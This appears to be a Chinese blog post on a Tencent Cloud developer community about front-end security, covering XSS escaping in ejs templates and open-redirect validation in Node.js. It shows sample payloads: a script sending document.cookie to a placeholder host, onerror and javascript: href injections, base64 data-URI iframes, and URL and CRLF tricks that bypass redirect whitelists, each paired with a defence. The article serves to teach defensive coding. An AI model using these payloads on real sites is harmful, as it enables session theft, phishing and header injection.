前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >web前端安全相关

web前端安全相关

原创
作者头像
打野小王子
修改2019-11-26 12:11:54
1.1K0
修改2019-11-26 12:11:54
举报
文章被收录于专栏:前端之心前端之心

老生常谈的XSS

XSS, 即为(Cross Site Scripting), 中文名为跨站脚本攻击

形成原因:开发者信任了攻击者的提交内容

危害:导致恶意代码执行获取敏感信息如以下代码,攻击者将用户的cookie发送至自己服务器

代码语言:txt
复制
<script>
	location.href='http://xxx.com/?cookie=' + document.cookie
</script>

XSS防范

从ejs的源码我们可以看到<%=%> 输出时会对一些字符进行转义

代码语言:txt
复制
var _ENCODE_HTML_RULES = {
      '&': '&amp;'
    , '<': '&lt;'
    , '>': '&gt;'
    , '"': '&#34;'
    , "'": '&#39;'
    }
  , _MATCH_HTML = /[&<>\'"]/g;

function encode_char(c) {
  return _ENCODE_HTML_RULES[c] || c;
};

这里转义的原因是:<>'"字符对原有的html结构会进行破坏,从而给了攻击者拼接代码的可能

&符号必须先转义,否则其他已经被转成html实体中&符号会被重复转义

是不是使用ejs <%=%> 就安全了?

看下面的这个例子

代码语言:txt
复制
<img src=<%=class=%> />
<img src=/404.png onerror=alert(1)  />

html属性在没有单、双引号的情况下也是允许的,这时候属性值是包含空格的时候也有被攻击的可能,所以针对这种场景我们也要考虑将空格转义

代码语言:txt
复制
s = s.replace(/ /g,"&nbsp;");

同时某些特定的属性我们也需要注意:

代码语言:txt
复制
<a href=javascript:alert(1) />
<a href=JaVaScRiPt:alert(1) />
// TAB键分隔
<a href=ja	vascript:alert(1) />

这种情况下我们需要校验href属性是否包含 javascript:

浏览器对属性名的大小写不敏感以及TAB分隔会被忽略,所以我们可以正则/j\s*a\s*v\s*a\s*s\s*c\s*r\s*i\s*p\s*t/g来判断属性的内容是否包含javascript

object标签data属性和iframe src属性也有注入的风险,可以看下面有例子

代码语言:txt
复制
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe>

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>

JSON安全输出

有些时候我们需要将后端的数据json输出在页面,如下代码

代码语言:txt
复制
<script>
var userInfo = <%= JSON.stringify(loginData.userInfo) %>
</script>

ejs <%=%> 会将json里的'"号进行转义,从而导致json不合法,使用 <%-%> 原样输出json语法不会有问题,但是会带来XSS安全问题,所以json安全输出我们可以单独转义

代码语言:txt
复制
var ESCAPED_CHARS = {
    '<'     : '\\u003C',
    '>'     : '\\u003E',
    '/'     : '\\u002F',
    '\u2028': '\\u2028',
    '\u2029': '\\u2029'
};

<>/ 符号是为了避免出现</script>提前结束script代码块

\u2028 \u2029 两个不可见字符在json字面量中是不合法的,所以也需要转义

XSS总结

出现XSS大部分原因是来自用户恶意提交内容,所以需要根据内容输出场景选择合适的方法进行过滤或者转义。

任意跳转漏洞

什么叫跳转漏洞,跳转漏洞是指后端未对跳转目的地链接进行合法性和白名单校验,导致用户被钓鱼,造成财产的损失。

我们在使用Node.js url模块的parse方法对链接进行解析后来校验,在解析过程发现一些特殊场景,

假定我们认为cloud.tencent.com是安全域名

使用@符号来构造BasicAuth协议来绕过域名校验

代码语言:txt
复制
const url = require('url');
console.log(url.parse('https://cloud.tencent.com\\x@www.xxx.com'));

{
  protocol: 'https:',
  slashes: true,
  auth: null,
  host: 'cloud.tencent.com',
  port: null,
  hostname: 'cloud.tencent.com',
  hash: null,
  search: null,
  query: null,
  pathname: '/x@www.xxx.com',
  path: '/x@www.xxx.com',
  href: 'https://cloud.tencent.com/x@www.xxx.com' 
}

从parse结果来看host确实是cloud.tencent.com

但是express在redirect的时候会对url上的部分字符进行编码

代码语言:txt
复制
https://cloud.tencent.com\\x@www.xxx.com => https://cloud.tencent.com%5Cx@www.xxx.com

这样刚好命中了BasicAuth规则,浏览器不再跳转https://cloud.tencent.com,而是直接跳到www.xxx.com

建议在对域名校验的同时,对URL路径上字符也进行校验,比如正常情况下我们不会用到的 @ 符

利用不规范的协议以及相对路径绕过

代码语言:txt
复制
const url = require('url');
console.log(url.parse('https:\\\\cloud.tencent.com/../../developer/ask/question/24314'));

{
  protocol: 'https:',
  slashes: true,
  auth: null,
  host: 'cloud.tencent.com',
  port: null,
  hostname: 'cloud.tencent.com',
  hash: null,
  search: null,
  query: null,
  pathname: '/../../developer/ask/question/24314',
  path: '/../../developer/ask/question/24314',
  href: 'https://cloud.tencent.com/../../developer/ask/question/24314' 
 }

解析结果上来看protocol host是合法的,但是最终重定向的结果会被../../导向不符合预期的相对url上去

建议在url.parse前,使用正则/^https:\/\//来校验协议是否合法

利用crlf回车换行符绕过

正常情况下我们的重定向返回包是这样

代码语言:txt
复制
HTTP/1.1 302 Moved Temporarily 
Date: Fri, 24 Jun 2018 11:01:17 GMT 
Content-Type: text/html 
Content-Length: 520 
Connection: close 
Location: https://cloud.tencent.com

但是如果回跳url上有回车换行符时 https://cloud.tencent.com%0aSet-cookie:JSPSESSID%3Dwooyun

在某些后端语言setHeader方法操作后,发现会多一个 Set-cookie: JSPSESSID=wooyun的注入

代码语言:txt
复制
HTTP/1.1 302 Moved Temporarily 
Date: Fri, 24 Jun 2018 11:01:17 GMT 
Content-Type: text/html 
Content-Length: 110
Connection: close 
Location: https://cloud.tencent.com
Set-cookie: JSPSESSID=wooyun

建议对url先过滤掉\r\n后再进行合法性判断

任意跳转漏洞总结

对于url校验我们最好做到以下几点

  1. 正则校验URL协议(不要太依赖框架)
  2. 过滤掉\n\r
  3. 校验path里是否有@
  4. 极端场景需要协议+域名+path一起校验

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 老生常谈的XSS
    • XSS防范
      • 是不是使用ejs <%=%> 就安全了?
      • JSON安全输出
      • XSS总结
    • 任意跳转漏洞
      • 使用@符号来构造BasicAuth协议来绕过域名校验
      • 利用不规范的协议以及相对路径绕过
      • 利用crlf回车换行符绕过
      • 任意跳转漏洞总结
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档